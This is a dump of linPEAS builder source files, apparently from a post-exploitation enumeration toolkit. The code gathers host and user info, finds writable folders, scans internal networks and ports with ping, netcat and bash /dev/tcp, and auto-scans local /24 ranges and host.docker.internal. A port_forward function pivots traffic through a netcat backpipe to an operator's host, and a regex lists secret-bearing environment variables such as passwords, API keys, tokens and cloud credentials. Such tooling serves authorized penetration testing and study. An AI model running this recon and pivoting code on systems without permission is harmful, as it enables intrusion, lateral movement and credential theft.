\"s,Green,${SED_GREEN},\"\necho \"  LightMagenta: Your username\" | sed \"s,LightMagenta,${SED_LIGHT_MAGENTA},\"\nif [ \"$IAMROOT\" ]; then\n  echo \"\"\n  echo \"  YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)\" | sed \"s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW},\"\n  sleep 3\nfi\necho \"\"\nprintf \" ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC\"\necho \"\"\n\n\n###########################################\n#-----------) Some Basic Info (-----------#\n###########################################\n\nprint_title \"Basic information\"\nprintf $LG\"OS: \"$NC\n(cat /proc/version || uname -a ) 2>/dev/null\nprintf $LG\"User & Groups: \"$NC\n(id || (whoami && groups)) 2>/dev/null\nprintf $LG\"Hostname: \"$NC\nhostname 2>/dev/null\necho \"\"\n\nif ! [ \"$FAST\" ] && ! [ \"$AUTO_NETWORK_SCAN\" ]; then\n  printf $LG\"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\\n\"$NC;\nfi\n\n\nFPING=$(command -v fping 2>/dev/null || echo -n '')\nPING=$(command -v ping 2>/dev/null || echo -n '')\n\nDISCOVER_BAN_BAD=\"No network discovery capabilities (fping or ping not found)\"\n\nif [ \"$FPING\" ]; then\n  DISCOVER_BAN_GOOD=\"$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)\"\nelse\n  if [ \"$PING\" ]; then\n    DISCOVER_BAN_GOOD=\"$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)\"\n  fi\nfi\n\n\nif [ \"$DISCOVER_BAN_GOOD\" ]; then\n  printf $YELLOW\"[+] $DISCOVER_BAN_GOOD\\n$NC\"\nelse\n  printf $RED\"[-] $DISCOVER_BAN_BAD\\n$NC\"\nfi\n\nif [ \"$(command -v bash || echo -n '')\" ] && ! [ -L \"$(command -v bash || echo -n '')\" ]; then\n  FOUND_BASH=$(command -v bash || echo -n '');\nelif [ -f \"/bin/bash\" ] && ! [ -L \"/bin/bash\" ]; then\n  FOUND_BASH=\"/bin/bash\";\nfi\n\nFOUND_NC=$(command -v nc 2>/dev/null || echo -n '')\nif [ -z \"$FOUND_NC\" ]; then\n\tFOUND_NC=$(command -v netcat 2>/dev/null || echo -n '');\nfi\nif [ -z \"$FOUND_NC\" ]; then\n\tFOUND_NC=$(command -v ncat 2>/dev/null || echo -n '');\nfi\nif [ -z \"$FOUND_NC\" ]; then\n\tFOUND_NC=$(command -v nc.traditional 2>/dev/null || echo -n '');\nfi\nif [ -z \"$FOUND_NC\" ]; then\n\tFOUND_NC=$(command -v nc.openbsd 2>/dev/null || echo -n '');\nfi\n\nSCAN_BAN_BAD=\"No port scan capabilities (nc and bash not found)\"\nif [ \"$FOUND_BASH\" ]; then\n  SCAN_BAN_GOOD=\"$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\\n\"\nfi\nif [ \"$FOUND_NC\" ]; then\n  SCAN_BAN_GOOD=\"$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\\n\"\nfi\n\nif [ \"$SCAN_BAN_GOOD\" ]; then\n  printf \"$SCAN_BAN_GOOD$NC\"\nelse\n  printf $RED\"[-] $SCAN_BAN_BAD$NC\"\nfi\nif [ \"$(command -v nmap 2>/dev/null || echo -n '')\" ];then\n  NMAP_GOOD=$GREEN\"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself\"\n  printf $YELLOW\"[+] $NMAP_GOOD\\n$NC\"\nfi\necho \"\"\necho \"\"\n\nif [ \"$PORTS\" ] || [ \"$DISCOVERY\" ] || [ \"$IP\" ] || [ \"$AUTO_NETWORK_SCAN\" ]; then MAXPATH_FIND_W=\"1\"; fi #If Network reduce the time on this\n\nif ! [ \"$USER\" ]; then\n  USER=$(whoami 2>/dev/null || echo -n \"UserUnknown\")\nfi\n\nfor grp in $(groups $USER 2>/dev/null | cut -d \":\" -f2); do\n  wgroups=\"$wgroups -group $grp -or \"\ndone\nwgroups=\"$(echo $wgroups | sed -e 's/ -or$//')\"\n\nif [ ! \"$HOME\" ]; then\n  if [ -d \"/Users/$USER\" ]; then HOME=\"/Users/$USER\"; #Mac home\n  else HOME=\"/home/$USER\";\n  fi\nfi\n\nSEDOVERFLOW=true\nwhile $SEDOVERFLOW; do\n  #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort`\n  #if [ \"$MACPEAS\" ]; then\n    WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path \"/proc/*\" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')'  2>/dev/null | sort) #OpenBSD find command doesn't have \"-writable\" option\n  #else\n  #  WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path \"/proc/*\" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`\n  #fi\n  Wfolders=$(printf \"%s\" \"$WF\" | tr '\\n' '|')\"|[a-zA-Z]+[a-zA-Z0-9]* +\\*\"\n  Wfolder=\"$(printf \"%s\" \"$WF\" | grep \"/shm\" | head -n1)\"  # Try to get /dev/shm\n  if ! [ \"$Wfolder\" ]; then\n    Wfolder=\"$(printf \"%s\" \"$WF\" | grep \"tmp\\|shm\\|home\\|Users\\|root\\|etc\\|var\\|opt\\|bin\\|lib\\|mnt\\|private\\|Applications\" | head -n1)\"\n  fi\n  printf \"test\\ntest\\ntest\\ntest\"| sed -${E} \"s,$Wfolders|\\./|\\.:|:\\.,${SED_RED_YELLOW},g\" >/dev/null 2>&1\n  if [ $? -eq 0 ]; then\n      SEDOVERFLOW=false\n  else\n      MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) #If overflow of directories, check again with MAXPATH_FIND_W - 1\n  fi\n  if [ $MAXPATH_FIND_W -lt 1 ] ; then # prevent infinite loop\n     SEDOVERFLOW=false\n  fi\ndone\n\n#Get HOMESEARCH\nif [ \"$SEARCH_IN_FOLDER\" ]; then\n  HOMESEARCH=\"${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/\"\nelse\n  HOMESEARCH=\"/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep \"sh$\" | cut -d \":\" -f 6 | grep -Ev \"^/root|^/home|^/Users|^/var/www\" | tr \"\\n\" \" \")\"\n  if ! echo \"$HOMESEARCH\" | grep -q \"$HOME\" && ! echo \"$HOMESEARCH\" | grep -qE \"^/root|^/home|^/Users|^/var/www\"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder\n    HOMESEARCH=\"$HOME $HOMESEARCH\"\n  fi\nfi\nGREPHOMESEARCH=$(echo \"$HOMESEARCH\" | sed 's/ *$//g' | tr \" \" \"|\") #Remove ending spaces before putting \"|\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh",
    "content": "# Title: Interesting Files - Check if Network jobs\n# ID: BS_check_network_jobs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: If Network jobs, just execute that, don't execute the rest of the script\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $DISCOVER_BAN_GOOD, $FOUND_BASH, $HELP, $IP, $PORT_FORWARD, $PORTS, $SCAN_BAN_GOOD, $Wfolder\n# Initial Functions:\n# Generated Global Variables: $LOCAL_IP, $LOCAL_PORT, $REMOTE_IP, $REMOTE_PORT, $NETMASK, $NEWIP, $MYPORTS, $NC_SCAN, $IP3, $local_ips, $local_ip, $disc_ip\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nbasic_net_info(){\n  print_title \"Basic Network Info\"\n  (ifconfig || ip a) 2>/dev/null\n  echo \"\"\n}\n\n\nport_forward (){\n  LOCAL_IP=$1\n  LOCAL_PORT=$2\n  REMOTE_IP=$3\n  REMOTE_PORT=$4\n\n  echo \"In your machine execute:\"\n  echo \"cd /tmp; rm backpipe; mknod backpipe p;\"\n  echo \"nc -lvnp $LOCAL_PORT 0<backpipe | nc -lvnp 9009 1>backpipe\"\n  echo \"\"\n  read -p \"Press any key when you have executed those commands\" useless_var\n\n  bash -c \"exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &\"\n  echo \"If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT\"\n}\n\n\nselect_nc (){\n  #Select the correct configuration of the netcat found\n  NC_SCAN=\"$FOUND_NC -v -n -z -w 1\"\n  $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)\n  if [ $? -eq 2 ]\n  then\n    NC_SCAN=\"timeout 1 $FOUND_NC -v -n\"\n  fi\n}\n\n\nicmp_recon (){\n  #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses)\n\tIP3=$(echo $1 | cut -d \".\" -f 1,2,3)\n\n  (timeout 1 ping -b -c 1 \"$IP3.255\" 2>/dev/null | grep \"icmp_seq\" | sed -${E} \"s,[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+,${SED_RED},\") &\n  (timeout 1 ping -b -c 1 \"255.255.255.255\" 2>/dev/null | grep \"icmp_seq\" | sed -${E} \"s,[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+,${SED_RED},\") &\n\tfor j in $(seq 0 254)\n\tdo\n    (timeout 1 ping -b -c 1 \"$IP3.$j\" 2>/dev/null | grep \"icmp_seq\" | sed -${E} \"s,[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+,${SED_RED},\") &\n\tdone\n  wait\n}\n\n\ntcp_recon (){\n  #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones\n  IP3=$(echo $1 | cut -d \".\" -f 1,2,3)\n\tPORTS=$2\n  printf ${YELLOW}\"[+]${GREEN} From $IP3 ${BLUE} Ports going to be scanned: $PORTS\" $NC | tr '\\n' \" \"\n  printf \"$NC\\n\"\n\n  for p in $PORTS; do\n    for j in $(seq 1 254)\n    do\n      if [ \"$FOUND_BASH\" ] && [ \"$(command -v timeout 2>/dev/null || echo -n '')\" ]; then\n        timeout 2.5 $FOUND_BASH -c \"(echo </dev/tcp/$IP3.$j/$p) 2>/dev/null && echo -e \\\"\\n[+] Open port at: $IP3.$j:$p\\\"\" &\n      elif [ \"$NC_SCAN\" ]; then\n        ($NC_SCAN \"$IP3\".\"$j\" \"$p\" 2>&1 | grep -iv \"Connection refused\\|No route\\|Version\\|bytes\\| out\" | sed -${E} \"s,[0-9\\.],${SED_RED},g\") &\n      fi\n    done\n    wait\n  done\n}\n\n\ndiscovery_port_scan (){\n  basic_net_info\n\n  #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389\n  print_title \"Internal Network Discovery - Finding hosts and scanning ports\"\n  DISCOVERY=$1\n  MYPORTS=$2\n\n  IP=$(echo \"$DISCOVERY\" | cut -d \"/\" -f 1)\n  NETMASK=$(echo \"$DISCOVERY\" | cut -d \"/\" -f 2)\n  echo \"Scanning: $DISCOVERY\"\n\n  if [ -z \"$IP\" ] || [ -z \"$NETMASK\" ] || [ \"$IP\" = \"$NETMASK\" ]; then\n    printf $RED\"[-] Err: Bad format. Example: 127.0.0.1/24\\n\"$NC;\n    if [ \"$IP\" = \"$NETMASK\" ]; then\n      printf $RED\"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i <IP> [-p <PORT(s)>]\\n\\n\"$NC;\n    fi\n    printf ${BLUE}\"$HELP\"$NC;\n    exit 0\n  fi\n\n  PORTS=\"22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')\"\n  PORTS=$(echo \"$PORTS\" | tr \" \" \"\\n\" | sort -u) #Delete repetitions\n\n  if [ \"$NETMASK\" -eq \"24\" ]; then\n    printf ${YELLOW}\"[+]$GREEN Netmask /24 detected, starting...\\n\" $NC\n\t\ttcp_recon \"$IP\" \"$PORTS\"\n\n\telif [ \"$NETMASK\" -eq \"16\" ]; then\n    printf ${YELLOW}\"[+]$GREEN Netmask /16 detected, starting...\\n\" $NC\n\t\tfor i in $(seq 0 255)\n\t\tdo\n\t\t\tNEWIP=$(echo \"$IP\" | cut -d \".\" -f 1,2).$i.1\n\t\t\ttcp_recon \"$NEWIP\" \"$PORTS\"\n\t\tdone\n  else\n      printf $RED\"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\\n\"$NC;\n      exit 0\n\tfi\n}\n\n\ntcp_port_scan (){\n  #Scan open ports of a host. Default: nmap top 1000, but the user can select others\n  basic_net_info\n\n  print_title \"Network Port Scanning\"\n  IP=$1\n\tPORTS=\"$2\"\n\n  if [ -z \"$PORTS\" ]; then\n    printf ${YELLOW}\"[+]${GREEN} From $IP ${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)\" $NC | tr '\\n' \" \"\n    printf \"$NC\\n\"\n    PORTS=\"1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389\"\n  else\n    PORTS=\"$(echo $PORTS | tr ',' ' ')\"\n    printf ${YELLOW}\"[+]${GREEN} From $IP ${BLUE} Ports going to be scanned: $PORTS\" $NC | tr '\\n' \" \"\n    printf \"$NC\\n\"\n  fi\n\n  for p in $PORTS; do\n    if [ \"$FOUND_BASH\" ]; then\n      $FOUND_BASH -c \"(echo </dev/tcp/$IP/$p) 2>/dev/null && echo -n \\\"[+] Open port at: $IP:$p\\\"\" &\n    elif [ \"$NC_SCAN\" ]; then\n      ($NC_SCAN \"$IP\" \"$p\" 2>&1 | grep -iv \"Connection refused\\|No route\\|Version\\|bytes\\| out\" | sed -${E} \"s,[0-9\\.],${SED_RED},g\") &\n    fi\n  done\n  wait\n}\n\n\ndiscover_network (){\n  #Check if IP and Netmask are correct and the use fping or ping to find hosts\n  basic_net_info\n\n  print_title \"Network Discovery\"\n\n  DISCOVERY=$1\n  IP=$(echo \"$DISCOVERY\" | cut -d \"/\" -f 1)\n  NETMASK=$(echo \"$DISCOVERY\" | cut -d \"/\" -f 2)\n\n  if [ -z \"$IP\" ] || [ -z \"$NETMASK\" ]; then\n    printf $RED\"[-] Err: Bad format. Example: 127.0.0.1/24\"$NC;\n    printf ${BLUE}\"$HELP\"$NC;\n    exit 0\n  fi\n\n  #Using fping if possible\n  if [ \"$FPING\" ]; then\n    $FPING -a -q -g \"$DISCOVERY\" | sed -${E} \"s,.*,${SED_RED},\"\n\n  #Loop using ping\n  else\n    if [ \"$NETMASK\" -eq \"24\" ]; then\n      printf ${YELLOW}\"[+]$GREEN Netmask /24 detected, starting...\\n$NC\"\n      icmp_recon $IP\n\n    elif [ \"$NETMASK\" -eq \"16\" ]; then\n      printf ${YELLOW}\"[+]$GREEN Netmask /16 detected, starting...\\n$NC\"\n      for i in $(seq 1 254)\n      do\n        NEWIP=$(echo \"$IP\" | cut -d \".\" -f 1,2).$i.1\n        icmp_recon \"$NEWIP\"\n      done\n    else\n      printf $RED\"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK\"$NC;\n      exit 0\n    fi\n  fi\n}\n\n\nif [ \"$PORTS\" ]; then\n  if [ \"$SCAN_BAN_GOOD\" ]; then\n    if [ \"$(echo -n $PORTS | sed 's,[0-9, ],,g')\" ]; then\n      printf $RED\"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\\n\"$NC;\n      printf ${BLUE}\"$HELP\"$NC;\n      exit 0\n    else\n      #Select the correct configuration of the netcat found\n      select_nc\n    fi\n  else\n    printf $RED\"  Err: Port scan not possible, any netcat in PATH\\n\"$NC;\n    printf ${BLUE}\"$HELP\"$NC;\n    exit 0\n  fi\nfi\n\nif [ \"$DISCOVERY\" ]; then\n  if [ \"$PORTS\" ]; then\n    discovery_port_scan $DISCOVERY $PORTS\n  else\n    if [ \"$DISCOVER_BAN_GOOD\" ]; then\n      discover_network $DISCOVERY\n    else\n      printf $RED\"  Err: Discovery not possible, no fping or ping in PATH\\n\"$NC;\n    fi\n  fi\n  exit 0\n\nelif [ \"$IP\" ]; then\n  select_nc\n  tcp_port_scan $IP \"$PORTS\"\n  exit 0\nfi\n\nif [ \"$PORT_FORWARD\" ]; then\n  if ! [ \"$FOUND_BASH\" ]; then\n    printf $RED\"[-] Err: Port forwarding not possible, no bash in PATH\\n\"$NC;\n    exit 0\n  fi\n\n  LOCAL_IP=\"$(echo -n $PORT_FORWARD | cut -d ':' -f 1)\"\n  LOCAL_PORT=\"$(echo -n $PORT_FORWARD | cut -d ':' -f 2)\"\n  REMOTE_IP=\"$(echo -n $PORT_FORWARD | cut -d ':' -f 3)\"\n  REMOTE_PORT=\"$(echo -n $PORT_FORWARD | cut -d ':' -f 4)\"\n\n  if ! [ \"$LOCAL_IP\" ] || ! [ \"$LOCAL_PORT\" ] || ! [ \"$REMOTE_IP\" ] || ! [ \"$REMOTE_PORT\" ]; then\n    printf $RED\"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\\nFor example: 10.10.14.8:7777:127.0.0.1:8000\"$NC;\n    exit 0\n  fi\n\n  #Check if LOCAL_PORT is a number\n  if ! [ \"$(echo $LOCAL_PORT | grep -E '^[0-9]+$')\" ]; then\n    printf $RED\"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\\nFor example: 10.10.14.8:7777:127.0.0.1:8000\"$NC;\n  fi\n\n  #Check if REMOTE_PORT is a number\n  if ! [ \"$(echo $REMOTE_PORT | grep -E '^[0-9]+$')\" ]; then\n    printf $RED\"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\\nFor example: 10.10.14.8:7777:127.0.0.1:8000\"$NC;\n  fi\n\n  port_forward \"$LOCAL_IP\" \"$LOCAL_PORT\" \"$REMOTE_IP\" \"$REMOTE_PORT\"\n  exit 0\nfi\n\nif [ \"$AUTO_NETWORK_SCAN\" ]; then\n  basic_net_info\n  if ! [ \"$FOUND_NC\" ] && ! [ \"$FOUND_BASH\" ]; then\n    printf $RED\"[-] $SCAN_BAN_BAD\\n$NC\"\n    echo \"The network is not going to be scanned...\"\n  \n  elif ! [ \"$(command -v ifconfig)\" ] && ! [ \"$(command -v ip  || echo -n '')\" ]; then\n    printf $RED\"[-] No ifconfig or ip commands, cannot find local ips\\n$NC\"\n    echo \"The network is not going to be scanned...\"\n  \n  else\n    print_2title \"Scanning local networks (using /24)\"\n\n    if ! [ \"$PING\" ] && ! [ \"$FPING\" ]; then\n      printf $RED\"[-] $DISCOVER_BAN_BAD\\n$NC\"\n    fi\n\n    select_nc\n    local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\\S+[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}' | awk '{print $2}' | grep -E \"^10\\.|^172\\.|^192\\.168\\.|^169\\.254\\.\")\n    printf \"%s\\n\" \"$local_ips\" | while read local_ip; do\n      if ! [ -z \"$local_ip\" ]; then\n        print_3title \"Discovering hosts in $local_ip/24\"\n        \n        if [ \"$PING\" ] || [ \"$FPING\" ]; then\n          discover_network \"$local_ip/24\" | sed 's/\\x1B\\[[0-9;]\\{1,\\}[A-Za-z]//g' | grep -A 256 \"Network Discovery\" | grep -v \"Network Discovery\" | grep -Eo '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}' > $Wfolder/.ips.tmp\n        fi\n        \n        discovery_port_scan \"$local_ip/24\" 22 | sed 's/\\x1B\\[[0-9;]\\{1,\\}[A-Za-z]//g' | grep -A 256 \"Ports going to be scanned\" | grep -v \"Ports going to be scanned\" | grep -Eo '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}' >> $Wfolder/.ips.tmp\n        \n        sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips\n        rm $Wfolder/.ips.tmp 2>/dev/null\n        \n        while read disc_ip; do\n          me=\"\"\n          if [ \"$disc_ip\" = \"$local_ip\" ]; then\n            me=\" (local)\"\n          fi\n          \n          echo \"Scanning top ports of ${disc_ip}${me}\"\n          (tcp_port_scan \"$disc_ip\" \"\" | grep -A 1000 \"Ports going to be scanned\" | grep -v \"Ports going to be scanned\" | sort | uniq) 2>/dev/null\n          echo \"\"\n        done < $Wfolder/.ips\n        \n        rm $Wfolder/.ips 2>/dev/null\n        echo \"\"\n      fi\n    done\n    \n    print_3title \"Scanning top ports of host.docker.internal\"\n    (tcp_port_scan \"host.docker.internal\" \"\" | grep -A 1000 \"Ports going to be scanned\" | grep -v \"Ports going to be scanned\" | sort | uniq) 2>/dev/null\n    echo \"\"\n  fi\n  exit 0\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh",
    "content": "# Title: Interesting Files - Check if Network jobs\n# ID: BS_caching_finds\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Cache interesting files discoevred in the file system\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $CHECKS, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $CONT_THREADS, $backup_folders_row\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$SEARCH_IN_FOLDER\" ]; then\n  printf $GREEN\"Caching directories \"$NC\n\n  CONT_THREADS=0\n  # FIND ALL KNOWN INTERESTING SOFTWARE FILES\n  peass{FINDS_CUSTOM}\n\n  wait # Always wait at the end\n  CONT_THREADS=0 #Reset the threads counter\n\nelif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then\n\n  printf $GREEN\"Caching directories \"$NC\n\n  CONT_THREADS=0\n  # FIND ALL KNOWN INTERESTING SOFTWARE FILES\n  peass{FINDS_HERE}\n\n  wait # Always wait at the end\n  CONT_THREADS=0 #Reset the threads counter\nfi\n\nif [ \"$SEARCH_IN_FOLDER\" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then\n  #GENERATE THE STORAGES OF THE FOUND FILES\n  peass{STORAGES_HERE}\n\n  ##### POST SERACH VARIABLES #####\n  backup_folders_row=\"$(echo $PSTORAGE_BACKUPS | tr '\\n' ' ')\"\n  printf ${YELLOW}\"DONE\\n\"$NC\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/EnvVarsRed.sh",
    "content": "# Title: Variables - EnvVarsRed\n# ID: EnvVarsRed\n# Author: Carlos Polop\n# Last Update: 26-05-2025\n# Description: Useless env vars\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $EnvVarsRed\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nEnvVarsRed=\"[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME|[aA][pP][iI][_][kK][eE][yY]|[aA][wW][sS]|[aA][zZ][uU][rR][eE]|[gG][cC][pP]|[aA][pP][iI]|[sS][eE][cC][rR][eE][tT]|[sS][qQ][lL]|[dD][aA][tT][aA][bB][aA][sS][eE]|[tT][oO][kK][eE][nN]\"\n\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh",
